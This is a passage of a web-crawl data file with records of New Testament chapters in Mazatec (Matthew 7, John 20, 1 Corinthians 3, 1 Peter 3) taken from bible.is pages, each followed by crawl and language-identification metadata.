ra tíjna ján ngajmi. 22'Kia̱ nga ki̱jchò jè ni̱chjin ra̱kìi̱, kjín xi̱ta̱ ki̱tso̱‑na: \"Na̱'ìn, ji̱ ra tijna ítjòn‑náji̱n, tsi'kèna̱jmíya‑náji̱n 'én‑li ra a̱'ta tsa̱ji, ko̱ a̱'ta tsa̱jií inachrjekàjin‑naji̱n ya̱ inìma̱‑la̱ xi̱ta̱, inìma̱ 'cho‑la̱ ni̱í; ti̱'koa̱á kjín kjo̱xkón ki'nià‑ji̱n ra a̱'ta tsa̱ji.\" 23Tanga ki̱í'sín xín‑la̱ ra 'a̱n: \"Ni̱kjiá kíjtsexkon‑no ra jiòn. Ti̱ncha'tàxìn‑ná ján, jiòn xi̱ta̱ ra 'cho 'nià.\" 24'Jè xi̱ta̱ ra 'nchré ko̱ ra síhitjasòn koni 'sín xiaa̱n, 'koa̱á 'sín jngoya‑la̱ koni jngo xi̱ta̱ ra tjín‑la̱ kjo̱bítsjen ra ya̱ tsikíndasòn ni'ya‑la̱ ya̱ a̱sòn na̱xi̱. 25'Kia̱ nga 'tsa jtsí, ko̱ 'tsa tjo̱xkón, ko̱ kjohi'i nandá xa̱ngá nga 'ji kánè jè ni'ya ra̱kìi̱, ni̱mé ra kjomà‑la̱ ta nga̱tjì‑la̱ nga ya̱á tjíndasòn ya̱ a̱sòn na̱xi̱. 26Tanga jè xi̱ta̱ ra 'nchré‑na koni 'sín xiaa̱n ko̱ mì kì síhitjasòn, 'koa̱á 'sín jngoya‑la̱ koni jngo xi̱ta̱ ra mì kì machi̱ya‑la̱ mé ra 'sín nga ya̱á tsikíndasòn ni'ya‑la̱ ya̱ ñánda̱ nga i̱jncha chrjo̱. 27'Kia̱ nga 'tsa jtsí; ko̱ 'tsa tjo̱xkón; ko̱ kjohi'i nandá xa̱ngá ko̱ jè ni'ya ra̱kìi̱ sasaá ixojen; 'ñó tse kjoa̱ ra kjomà 'kia̱ nga ixojen jè ni'ya ra̱kìi̱. 28'Kia̱ nga ijye kiìchja̱ Jesús, nga'tsì xi̱ta̱ ra ya̱ títsa̱jna, tà 'koa̱á kjomà‑la̱ koni 'sín tsò 'én ra tsakón‑ya‑la̱. 29Nga̱ 'koa̱á 'sín tsakón‑ya‑la̱ koni jngo xi̱ta̱ ra 'ñó tjín‑la̱ kjo̱téxoma, mì tsa ko̱'sín tsakón‑ya koni jñà xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés.\nSan Mateo 7","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Matt\/7","date":"2013-12-05T03:31:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163039002\/warc\/CC-MAIN-20131204131719-00029-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000091791152954}","num_words":744,"character_repetition_ratio":0.054,"word_repetition_ratio":0.005,"special_characters_ratio":0.251,"stopwords_ratio":0.325,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè ni̱chjin 'kia̱ nga ma'tsia̱‑ni jè xomàna̱, 'kia̱ nga jñò‑isa nga ta̱jñòya, kijì María Magdalena ya̱ nga̱jo̱‑la̱ chrjó mi'ken ñánda̱ nga isìhijin jè Jesús; 'kia̱ nga ijchò kijtse‑ní nga ijye itjahíxìn jè na̱jo̱ ra tjíchjàjto‑la̱ jè nga̱jo̱‑la̱ mi'ken. 2'Kia̱á tsahachikon nga kijì ya̱ ñánda̱ tjíhijyo jè Simón Pedro ko̱ xi̱ta̱ ra ìjngo ra ti̱'koa̱ ya̱ kotá'yá'ta‑la̱ Jesús, jè xi̱ta̱ ra 'ñó tsjake Jesús nga kitsò‑la̱: ―Ijyeé kàfìko̱ jè ijo‑la̱ Na̱'ín‑ná jñà xi̱ta̱; mì kì 'yeé ñánda̱ kjijna‑la̱. 3Jè Pedro ko̱ xi̱ta̱ ra ìjngo, kiì katsíjen‑la̱ ya̱ nga̱jo̱‑la̱ chrjó mi'ken ñánda̱ kisijnaya ijo‑la̱ Jesús. 4'Kia̱á 'ñó tsahachikon ngajòo̱, tanga isa̱á 'ñó tsahachikon jè xi̱ta̱ ra ìjngo koni jè Pedro ko̱ jè ijchò ítjòn ya̱ ñánda̱ nga kjijna jè nga̱jo̱‑la̱ mi'ken. 5'Kia̱á tsasèn-niña nga iskotsíjen‑yá ya̱ nga̱jo̱‑la̱ mi'ken ñánda̱ nga isijnaya ijo‑la̱ Jesús, ko̱ kijtseé jñà nikje chraba ra isijtéjin jè ijo‑la̱ Jesús tanga mì tsa 'jaha'sen‑ngi‑jìn ya̱ nga̱jo̱‑la̱ mi'ken. 6A̱kjòn 'ji tjíngi‑la̱ jè Pedro; ra jè, 'jaha'sen‑ngií ya̱ nga̱jo̱‑la̱ mi'ken ko̱ kijtseé‑te jñà nikje chraba nga ya̱ kjihijyo. 7Ti̱'koa̱á kijtseé‑te jè nikje ra isijtéjin sko̱ Jesús nga mì tsa ya̱ kjijna'ta‑la̱ jñà nikje chroba; xín tíjna xkóya. 8'Kia̱á 'jaha'sen jè xi̱ta̱ ra ìjngo jè ra 'ji ítjòn; 'kia̱ nga kijtse jñà kjoa̱ ra kjomà, kjokjiín‑la̱. 9Nga̱ kjè kì nda fìya‑la̱ koni 'sín tíchja̱ jè Xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga jè Jesús, 'koa̱á 'sín tjínè‑la̱ nga kjoa̱áya‑ila̱ ya̱ a̱jin‑la̱ mi'ken. 10Jñà xi̱ta̱ kìi̱, kijí‑ni ya̱ ni'ya‑la̱. 11Tanga jè María Magdalena ya̱á tíjna ndi̱tsiaán ya̱ xo̱tjo̱ba̱‑la̱ chrjó mi'ken nga tíkjindáya; ko̱ 'kia̱ nga tíkjindáya tsasijna-niña‑ní nga iskotsíjen‑yá ya̱ chrjó mi'ken; 12ko̱ jò ìkja̱li̱ kijtse ra nikje chroba kjiya; jngo tíjna ya̱ a̱ngi sko̱ ko̱ jngo tíjna ya̱ ndsa̱ko̱ ñánda̱ nga isijna jè ijo‑la̱ Jesús. 13Jñà ìkja̱li̱ iskonangií‑la̱, kitsò‑la̱: ―Ji̱ ndí chjo̱ón, ¿mé‑ni nga chindáya‑ni? Jè María kitsó‑ní: ―Kií kjindaya̱‑na nga̱ ijyeé kàfìko̱ jñà xi̱ta̱ jè ijo‑la̱ Na̱'ìn‑na̱, ko̱ mì kì be ñánda̱ kjijna‑la̱. 14'Kia̱ nga ijye ko̱kitsò jè María, isìkjahatjií sko̱, ko̱ ya̱á kijtse jè Jesús; tanga mì kì kjòchi̱ya‑la̱ tsa jè Jesús. 15Jè Jesús kitsó‑la̱: ―Ji̱ ndí chjo̱ón, ¿mé‑ni nga chindáya‑ni? ¿Yá ra fatsji? Jè María, 'koa̱á 'sín isíkítsjen tsa jè ra síkinda̱ jè i̱'nde ra̱kìi̱, kitsó‑la̱: ―Ji̱ nàmi̱, tsa ji̱í kiìki̱i ijo‑la̱ Na̱'ìn‑na̱, ko̱'tín‑ná ñánda̱ kjijna‑li mé‑ni nga ma íkatsíjen‑ila̱. 16'Kia̱á kitsò‑la̱ jè Jesús: ―¡María! Isíkáfa jè María kitsò: ―¡Raboni! (Ra 'én hebreo, Maestro tsò‑ni jè 'én ra̱kìi̱.) 17Jè Jesús kitsó‑la̱: ―Kì tà chjàn 'a̱n chaájno‑ná nga̱ kjè tsa ya̱ fia ya̱ ñánda̱ nga tíjna jè Na̱'ìn‑na̱. Tanga tijchín jñà 'ndsè ko̱ ko̱'tìn‑la̱ nga ya̱á tífì káti̱jnako̱ india‑na jè ra Na̱'ìn‑na̱ ma ra ti̱'koa̱ Na̱'ìn‑no ma, jè ra Nainá‑na̱ ma ko̱ ra ti̱'koa̱ Nainá‑no ma. 18'Kia̱á kijì María Magdalena nga kiì síkjí'nchré jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús nga ijyeé kijtse jè Na̱'ín‑ná ko̱ tsi'kéna̱jmí‑la̱ koni 'sín nga kitsò‑la̱. 19'Kia̱ nga ijye kjòjñò, ti̱jè‑ni ni̱chjin 'kia̱ nga ma'tsia̱ xomàna̱, jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús tjíchjàjtoó‑la̱ jè xo̱tjo̱ba̱‑la̱ ni'ya ya̱ ñánda̱ nga kjóxkóya, nga̱ jñá xi̱ta̱xá‑la̱ xi̱ta̱ judío tsakjón‑la̱; 'kia̱á ijchò jè Jesús nga tsasijnajin masen‑la̱ nga isíkjáya‑la̱, kitsò‑la̱: ―¡Ta 'koa̱á nda kjòn‑ni! ¡Kata'se‑no kjoa̱'nchán! 20'Kia̱ nga ijye ko̱kitsò‑la̱, a̱kjòn tsakón‑la̱ tsja ko̱ jè ndi̱si̱n‑la̱. Jñà xi̱ta̱ ra kotá'yá'ta‑la̱, taxki̱ tsjaá ki'se‑la̱ nga kijtse jè Jesús. 21Jesús india ko̱kitsò-isa‑la̱: ―¡Kata'se‑no kjoa̱'nchán! Koni 'sín nga isìkasén‑na jè Na̱'ìn‑na̱, 'koa̱á ti̱'sín sikásén‑no. 22A̱kjòn iskijnómajin‑la̱ kitsò‑la̱: ―Chjíbé jè Inìma̱ Tsje‑la̱ Nainá. 23Jñà xi̱ta̱ ra si̱jcha'tà‑la jé‑la̱, jè Nainá ti̱'koa̱á si̱hijcha'tá‑te‑la̱ jé‑la̱, tanga jñà xi̱ta̱ ra mì kì si̱jcha'tà‑la ra jiòn jè jé‑la̱, Nainá ti̱'koa̱á mì kì si̱hijcha'ta‑la̱ jé‑la̱. 24Jñà xi̱ta̱‑la̱ Jesús ra tejò ma‑ni, jè ra 'mì Tomás, jè ra ti̱'koa̱á Dídimo tsò‑la̱ ['én ra tsò‑ni: I̱xti'ño̱], tsìn‑jìn ra jè 'kia̱ nga ijchò jè Jesús. 25Jñà xi̱ta̱‑la̱ Jesús ra i'ka tsi'kéna̱jmí‑la̱ jè Tomás nga ijyeé kijtse jè Jesús; kitsò‑la̱: ―Ijyeé ka'ya‑náji̱n jè Na̱'ín‑ná. Tanga jè Tomás kitsó‑ní: ―Tsa mì kì skee̱ jñà tsja ya̱ ñánda̱ nga iskí'xa̱ jñà xo nga ma kjohí'see̱n na̱jmá‑ndsa̱ ko̱ ya̱ ndi̱si̱n‑la̱ ñánda̱ nga itjá'xa̱kjá, mì kì ko̱kjiín‑na. 26Nga ijye kjomà jin ni̱chjin, jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús india kjóxkóya‑ni ko̱ ya̱á tíjna jè Tomás 'kia̱. Ni̱'sín tjíchjàjto‑la̱ jè xo̱tjo̱ba̱ ni'ya, ya̱á ijchò Jesús nga tsasijnajin masen‑la̱; kitsò‑la̱: ―¡Kata'se‑no kjoa̱'nchán! 27A̱kjòn kitsò‑la̱ jè Tomás: ―Jchi̱ni'sin na̱jmá‑ndsi̱i i̱jndíi̱ ko̱ chítsijen‑la̱ jñà ndsa̱; nchrabáki̱i ndsi̱i ko̱ jchi̱ni'sin ya̱ ndi̱si̱n‑na̱. Kì tà chjàn ko̱'sín mì kì makjiín‑li, katakjiín‑li. 28'Kia̱á kiìchja̱ jè Tomás nga kitsò‑la̱: ―Ji̱ Na̱'ìn, ji̱‑ní ra tijna ítjòn‑náa̱ ko̱ ji̱‑ní Nainá‑na̱. 29Jesús kitsó‑la̱: ―Ji̱ Tomás, kií makjiín‑li nga ka'ya‑ná. ¡Mé ta̱ nda‑la̱ jñà xi̱ta̱ ra makjiín‑la̱ ni̱'sín mì kì bexkon‑na! 30Taxki̱ kjín kjoa̱xkón ra nda tjín ki'sìn‑isa Jesús ya̱ ngixko̱n xi̱ta̱ ra kotá'yá'ta‑la̱ ra mì kì tjí'ta ya̱ xa̱jo̱n ra̱kìi̱. 31Tanga jñà 'én kìi̱, kií xá isinda‑ni mé‑ni nga ko̱kjiín‑najiòn nga jè Jesús ra Cristo, [jè ra xá inikasén‑ni] ra I'ndí‑la̱ Nainá ko̱ mé‑ni nga 'kia̱ nga ko̱kjiín‑najiòn 'se̱é‑no jè kjo̱binachon ra a̱'ta 'tse̱.\nSan Juan 20","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/John\/20","date":"2013-12-13T01:08:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164786099\/warc\/CC-MAIN-20131204134626-00037-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000096559524536}","num_words":794,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.366,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñò ndí 'ndsè ko̱ tichjaá, mìkiì komà ko̱s'ín kichjàko̱‑nò koni xi̱ta̱ xi ndaà tíjiìn ini̱ma̱‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá. Ta k'oa̱á s'ín kichjàko̱‑nò koni tsà ta̱xki̱ xi̱ta̱ i̱sò'nde xi tà kjoa̱ ts'e̱ yijo‑la̱ ótsji, koni tsà tákó ndí i̱xti xó xi i̱t'aà ts'e̱ Cristo. 2Mìtsà 'in tjín 'én xi tsakoòya‑nò; k'oa̱s'ín ngaya‑la̱ koni ndí i̱xti xó xi sa̱ nchihoki, tà tsjín 'biì, mìtsà tsojmì tájaà kine. Jñò, kj'eè kiì ndaà fahas'en‑jiìn‑nò 'én‑la̱ Nainá, k'oa̱á ngaya‑la̱ koni tsojmì tájaà xi kj'eè kiì ma chine skanda na̱chrjein i̱'ndei̱. 3Tákó k'oa̱á s'ín 'nè koni s'ín xi̱ta̱ xi kjoa̱ ts'e̱ yijo‑la̱ ótsji. Machi̱ni̱cha‑nò xinguio̱o, chitiya‑nò ni̱ta̱ mé kjoa̱‑ne. Kjoa̱ koi, kjoa̱ ts'e̱ xi̱ta̱ i̱sò'nde‑né. 4K'e̱ nga bixón: \"'A̱n, xi̱ta̱ ts'e̱ Pablo‑ná\", ko̱ jè xi ìjngoò tsò: \"'A̱n, xi̱ta̱ ts'e̱ Apolos‑ná\", jñò, k'oa̱á s'ín nokjoà koni chja̱ xi ta̱xki̱ xi̱ta̱ i̱sò'nde. 5'A̱n xi Pablo 'mì‑na, ko̱ Apolos, tà xi̱ta̱ chi̱'nda‑náje̱n xi nìxá‑la̱je̱n Nainá. I̱t'aà tsa̱je̱én kòkjeiín‑nò 'én‑la̱ Nainá, nga ìjngoò ìjngoò‑je̱n ki'nè‑je̱n xá xi Na̱'èn‑ná kisìnga̱tsja‑naje̱n. 6'A̱án tsakoòya‑nò 'én‑la̱ Nainá, k'oa̱á ngaya‑la̱ koni jngoò xi̱ta̱ xi bítje̱ xojmá, jè Apolos kiskinìndá‑la̱, ta̱nga jè Nainá tísíjchá. 7Mìtsà jè xi̱ta̱ xi bítje̱ tsojmì, ni̱ mìtsà jè xi kinìndá‑la̱ xi chjí‑la̱, ta̱ jngoò jè Nainá xi síjchá tsojmì xi sitje̱ xi 'ñó chjí‑la̱. 8Jè xi bítje̱ ko̱ xi kinìndá‑la̱, ta jngoò xá tjín‑ne xi s'ín. Ta̱nga jè Nainá tsjá‑la̱ chjí‑la̱ koni tjín xá xi kis'iìn nga jngoò ìjngoò. 9Ngaje̱n, ya̱á ta̱ña nìxákjoò‑je̱n xá‑la̱ Nainá. Koa̱ jñò‑nò i̱'nde ñánda sitje̱ 'én‑la̱ Nainá. Ti̱koa̱á jñò‑nò ni'ya‑la̱ Nainá xi ngaje̱n bíndaà‑je̱n. 10Koni s'ín tjín kjo̱ndaà‑la̱ Nainá xi kitjoé‑na, 'a̱n‑ná xi chji̱ne̱ chrjó ítjòn, xi tsibijnà tàts'en chrjó‑la̱ ni'ya. Kj'ei̱í xi̱ta̱á bíndaàsòn ni'ya. Ta̱nga jñà xi bíndaàsòn, ndaà kàtasíkinda̱ nga jngoò ìjngoò kós'ín ki̱ìndaà. 11Mì ti̱ yá xi ko̱ma‑la̱ ki̱ìjna ìjngoò‑ìsa tàts'en chrjó ni'ya koni jè xi jye tíjna, nga jè Jesucristo tíjna koni tàts'en chrjó ni'ya. 12Tàts'en chrjó ni'ya, ko̱maá sindaàsòn‑ne ki̱cha̱ oro, plata, nda̱jo̱ chjí xi 'ñó ndaà kjoàn, na̱s'ín yá, na̱s'ín xka̱ paja, o xka̱ ndi̱ji. 13Ta̱nga jñà xá xi s'ín nga jngoò ìjngoò xi̱ta̱, k'e̱é jcha̱‑la̱ jè na̱chrjein k'e̱ nga si̱ndaàjiìn‑la̱ xi̱ta̱. Na̱chrjein jè, ni'ín kjoi̱íko̱, koa̱ jè ni'ín skót'aà nga jngoò ìjngoò ska̱ya xá xi komà. 14Tsà jngoò xá ki̱chìkjoa̱ko̱‑la̱ ni'ín xi skót'aà, tjoé‑la̱ chjí‑la̱ jè xi̱ta̱ xi ki̱ìndaàsòn. 15Ta̱nga tsà jè xá xi kisindaàsòn, tsà ki̱ti̱, chijaá chjí‑la̱. Ta̱nga jè xi̱ta̱ ki̱tjokàjiín kjo̱'in koni jngoò xi̱ta̱ xi bitjokàjiìn ni'ín. 16Jñò, ¿a mìtsà tíjiìn‑nò nga ni'ya i̱ngo̱ tsjeè‑la̱ Nainá 'mì‑nò? Nga jè Ini̱ma̱ Tsjeè‑la̱ Nainá tíjnajiìn‑nò. 17Tsà yá xi̱ta̱ xi mejèn‑la̱ si̱ìkits'ón‑jiìn‑la̱ ni'ya tsjeè‑la̱ Nainá, Nainá ti̱koa̱á si̱ìkits'ón‑jiìn‑la̱ jè xi̱ta̱ xi k'oa̱s'ín s'i̱in. Nga jè ni'ya‑la̱ Nainá, tsjeè‑né. Koa̱ jñò‑nò xi ni'ya tsjeè‑la̱ Nainá 'mì‑nò. 18Kì yijo‑nò chona̱cha̱n‑là, tsà yá xi k'oa̱s'ín síkítsjeèn nga 'ñó tjín‑la̱ kjo̱hítsjeèn xi ts'e̱ kjoa̱ chji̱ne̱‑la̱ i̱sò'nde, ta sa̱á ko̱s'ín kàtas'ín koni tsà tsjìn‑la̱ kjo̱hítsjeèn, mé‑ne nga nguì xi̱ta̱ chji̱ne̱ ko̱ma‑ne. 19Jè kjoa̱ chji̱ne̱‑la̱ xi̱ta̱ i̱sò'nde, i̱t'aà ts'e̱ Nainá, kjoa̱ ská tsò‑la̱. Xo̱jo̱n‑la̱ Nainá, k'oa̱á s'ín tíchja̱ nga tsò: \"Nainá, k'oa̱á s'ín s'ín nga jñà xi̱ta̱ chji̱ne̱, ti̱jñà‑ne kjoa̱ maña̱‑la̱ ki̱xo̱jiìn‑ne.\" 20Jè Xo̱jo̱n‑la̱ Nainá, ìjngoò k'a tjít'aà ñánda tsò: \"Nainá, beè‑né nga ni̱mé chjí‑la̱ kjo̱hítsjeèn‑la̱ xi̱ta̱ xi chji̱ne̱ tsò‑la̱ yijo‑la̱.\" 21K'oa̱á ma‑ne, jñò, kì ni̱jngoò xi̱ta̱ xi 'nga nìkíjna. Nga̱ ngats'iì xi tjín, kjo̱ndaà tsa̱jòn yije‑nò. 22Tsà jè Pablo, tsà jè Apolos, tsà jè Cefas [xi ti̱koa̱ Pedro 'mì], tsà jè i̱sò'nde, tsà jè kjoa̱binachon, tsà jè kjoa̱ biyaà, tsà jè na̱chrjein i̱'ndei̱, tsà jè na̱chrjein xi sa̱ nchrobá, kjo̱ndaà tsa̱jòn yije‑nò. 23Jñò, ts'e̱ Cristo‑nò, koa̱ jè Cristo ts'e̱é Nainá.\n1 Corintios 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/1Cor\/3","date":"2013-12-06T04:56:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163049570\/warc\/CC-MAIN-20131204131729-00007-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000090599060059}","num_words":578,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.304,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Koa̱á ti̱'sín tjín a̱'ta tsa̱jiòn‑jiòn ra íchjín 'mì‑no, nda jcha̱xkón 'xi̱n‑no nga nda ti̱hitjasòn‑la, mé‑ni nga tsa tjín i'ka ra mì kì makjiín‑la̱ jè 'én‑la̱ Cristo, chaán ta ya̱ ko̱chi̱ya‑la̱ 'kia̱ nga ske̱ kó'sín i̱nchiníjchá ijo‑no, ni̱'sín mì tsa jiòn ko̱'kín‑la; nga ko̱kjiín‑te‑la̱ 2'kia̱ nga ske̱‑no nga tsje i̱nchiníjchá ijo‑no ko̱ tjíjin ya̱ inìma̱‑no kjoa̱skon‑la̱ Nainá. 3Ko̱ kì ta ya̱ a̱sòn'nga‑la̱ ijo‑no ko̱ 'sín ta nda bínda bíchji̱neè nga 'ñó nda 'bè tsja̱skò ko̱ bingioò ndáto̱n ra ngi ki̱cha̱ sinè, ko̱ tsjaya jch'ó ra 'ñó chjí‑la̱. 4Jé ra machjeén nga ya̱á katabitjo‑ni ya̱ inìma̱‑najiòn, ra nda katasíkatsíjen‑no. Jñá kjo̱nda ki ra mì kì kje̱he'tà, tsa jè inìma̱‑najiòn indakjoa̱ tíjna ko̱ tjíjin ki'ta kjo̱'nchán. Tsa ko̱'sín tíjna inìma̱‑najiòn, jé ra 'ñó chjí‑la̱ ya̱ ngixko̱n Nainá. 5Nga̱ jñá kjoa̱ kìi̱ ra nda kisìkatsíjen‑ni ijo‑la̱ jñà íchjín tsje ra nda tsaká'ta ikon Nainá nga ti̱'sa̱ kjotseé ko̱ kijtsexkón 'xi̱n‑la̱ nga nda isìhitjasòn‑la̱. 6Koni jè Sara 'koa̱á 'sín nda isìhitjasòn‑la̱ jè Abraham nga 'koa̱á 'sín kijtsexkón nga jè tíjna ítjòn‑la̱. Tsa ko̱'sín nda si̱jchá ijo‑no, tsa mì kì ki̱skón‑la ni̱'sín ta yá ra ki̱ncháxkón‑no, 'koa̱á 'sín i̱nchi'nià jiòn koni tsa i̱xti‑la̱ Sara ma jiòn. 7Ko̱ jiòn ra 'xi̱n 'mì‑no nda kjón‑ní ti̱tsa̱jnako̱o jñà íchjín‑no, nga ndaá katafìya‑no nga isa̱ inda kji'ta‑la̱ íchjín koni jiòn‑jiòn. Nda kjón‑ní jcha̱xkón koni 'sín nga bakèn‑la̱, nga 'koa̱á 'sín Nainá tsjá‑te‑la̱ kjo̱binachon koni jngo kjo̱tjò koni 'sín nga tjábé‑no ra jiòn. 'Koa̱á 'sín 'tia̱àn mé‑ni nga mì mé ra ko̱techjà‑no 'kia̱ nga jiòn ra ki̱nákjoa̱'ta‑la Nainá. 8Ta nga'tsì kjoa̱ kìi̱, ko̱'sín nda ti̱tsa̱jnajtión; jngoó inìma̱ 'tia̱àn kjo̱bítsjen‑no; 'ñó tsjacha 'tia̱àn xàngio̱o koni tsa 'ndsè chibà; kata'se‑no kjoa̱hi̱ma̱takòn; indakjoa̱ ti̱jchá ijo‑no. 9Tsa yá ra 'cho síko̱‑no, kì tà chjàn ko̱'sín nìko̱ ngajo‑no, ko̱ tsa yá ra chja̱jno‑no kì tà chjàn nakjoájno ngajo‑la; ta isa̱á ti̱jé‑la̱ Nainá nga katatsjá‑la̱ kjo̱nda jñà xi̱ta̱, nga̱ kií xá kinakjoá‑no nga tjábé‑no kjo̱nda. 10Nga̱: Jè ra mejèn‑la̱ nga 'se̱‑la̱ kjo̱tsja ni̱chjin ra tíjnakon, nga mejèn‑la̱ nga ske̱ ni̱chjin ra nda, katasíkonda̱ ndi̱je̱n‑la̱ nga mì 'én ra 'cho tsò katachja̱ ko̱ nga ni̱mé 'én ndiso katabitjo tsa'ba. 11Ti̱ncha'tàxìn‑la kjoa̱ ra 'cho tjín, ko̱ jñà 'tia̱àn kjoa̱ ra nda tjín; tjatsjio kjoa̱ ra 'nchán tjín ko̱ jè tangítji̱ngi‑la̱. 12Nga̱ ya̱á tjí'ta‑la̱ xko̱n Na̱'ín‑ná jñà ra xi̱ta̱ kixi̱; ko̱ minchá‑la̱ chíká‑la̱ 'kia̱ nga bítsa'ba xi̱ta̱ kìi̱; tanga bá'maá‑la̱ i̱sén‑la̱ jñà xi̱ta̱ ra 'cho 'sín. 13¿Yá ra ma 'cho si̱ìko̱‑najiòn, tsa 'koa̱ 'sín kínè ki'ta‑la ijo‑no nga nda 'sia̱an? 14Tanga kì tà chjàn skon ko̱ kì tsakjón inìma̱‑no tsa 'kia̱ mé kjo̱hi'in ra ska̱jiòn ra ta ki nga̱tjì‑la̱ nga kixi̱ 'nià, nga kjo̱nda tsa̱jión‑nó kjoa̱ kìi̱. 15Ko̱ 'koa̱á 'sín nda jcha̱xkón Cristo nga jè ti̱kíjna ítjòn nga katatéxoma ya̱ a̱jin inìma̱‑najiòn. 'Koa̱á 'sín nda ti̱tsa̱jnanda ki'ta jiòn nga 'kéna̱jmí‑la jiòn jñà xi̱ta̱ ra sko̱nangi‑no nga mé‑ni nga ko̱'sín jè Cristo kji'tatákon‑no nga ko̱'sín i̱nchichiñákjoa̱‑la. 16Tanga indakjoa̱ kjón‑ní nga nda ti̱nákjoa̱‑la̱ xi̱ta̱ ko̱ tsje kjón‑ní ti̱kíjna kjo̱bítsjen‑no, mé‑ni jñà ra chja̱jno‑no koni 'sín nga nda 'nià jiòn ra makjiín‑no a̱'ta 'tse̱ Cristo, ti̱jñá 'én‑la̱ katasísaba'a‑ni jñà xi̱ta̱ kìi̱. 17Isa̱á nda‑ni ni̱'sín ko̱tjín kjo̱hi'in ska̱jieén tsa 'kia̱ nga nda i̱nchi'nié, tsa jè Nainá ko̱'sín mejèn‑la̱ nga ko̱'sín ko̱ma, nda mí 'koa̱‑ni tsa ko̱ tjín kjo̱hi'in ska̱jieén 'kia̱ nga 'cho i̱nchi'nié. 18Nga̱ skanda jè Cristo india kjón‑ní isìkjiín kjo̱hi'in nga 'ken ta nga̱tjì‑la̱ jñà jé ra tjín‑ná. Jè Cristo mì tsa mé jé tsakátsji ra jè, tanga isìkjiín kjo̱hi'in ra ta jñà nga̱tjì‑la̱ jñà xi̱ta̱ ra 'cho 'sín, mé‑ni nga ma i̱ko̱‑ná ya̱ ñánda̱ tíjna Nainá. Kinì'keén ra ijo i̱sà'nde‑la̱ tanga 'kia̱ nga jaáya‑ila̱, jngoó ijo xi̱tse̱ 'tse̱ Inìma̱ Tsje‑la̱ Nainá ki'se‑la̱. 19Ko̱ jè Inìma̱ xi̱tse̱‑la̱, kií ya̱ i̱'nde ñánda̱ nga títsa̱hijyo inìma̱ ra títsa̱'ya nda̱yá nga kiì 'kéna̱jmí‑la̱ [nga isikijne‑la̱ kjo̱biya ra jè] 20jñà inìma̱‑la̱ xi̱ta̱ ra mì ma‑la̱ isìhitjasòn kjotseé, 'kia̱ nga jè ni̱chjin 'tse̱ xi̱ta̱ ra tsi'kìn Noé. Nga̱ jè Nainá iskoñá nda nda 'kia̱ nga jè Noé tíbínda jè chitso ra 'ñó je 'ki ki'sìn, ya̱ ñánda̱ nga ta chibaá xi̱ta̱ tsatojin kjo̱hi'in ra a̱'ta 'tse̱ jtsí xkón; ta jiín tjín‑ni xi̱ta̱ ra itjokàjin kjo̱hi'in nga mì kì tsa ya̱ 'ken‑jin nandá. 21Jè nandá kìi̱, 'koa̱á 'sín kiìchja̱‑ni nga jé‑ní ra satíndá‑ná nga ma bítjo̱kajieén kjo̱hi'in 'ndi̱ 'ndi̱. 'Kia̱ nga satíndé, mì tsa jè ijo sòn'nga‑ná ra matsje, jè‑ní nga níjé‑lá Nainá nga tsje kata'se kjo̱bítsjen‑ná, ko̱ jè Nainá bachrjekàjin‑ná kjo̱hi'in ta nga̱tjì‑la̱ nga ijyeé jaáya‑la̱ jè Jesucristo, 22ko̱ ya̱á kijìmijìn ya̱ ján ngajmi, nga tíjna'ta ya̱ nga kixi̱‑la̱ Nainá, ko̱ ya̱á i̱nchisíhitjasòn‑la̱ jñà ìkja̱li̱ ko̱ nga'tsì i̱sén ni̱chjin tsje ra batéxoma ya̱ a̱jin i̱sén ko̱ nga'ñó ra tjín ya̱ a̱jin i̱sén.\n1 Pedro 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/1Pet\/3","date":"2013-12-10T18:06:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164022934\/warc\/CC-MAIN-20131204133342-00075-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.000009298324585}","num_words":755,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.314,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngats'iì kjoa̱ xi chibàya‑ná, tjín jngoò xi ìsa̱á 'ñó chjí‑la̱, jè‑né nga tíjna jngoò‑ná no̱'miì ítjòn xi tsibìjnat'aà chrja kixi̱‑la̱ íxi̱le̱ kjo̱tíxoma‑la̱ Nainá ján ngajmiì. 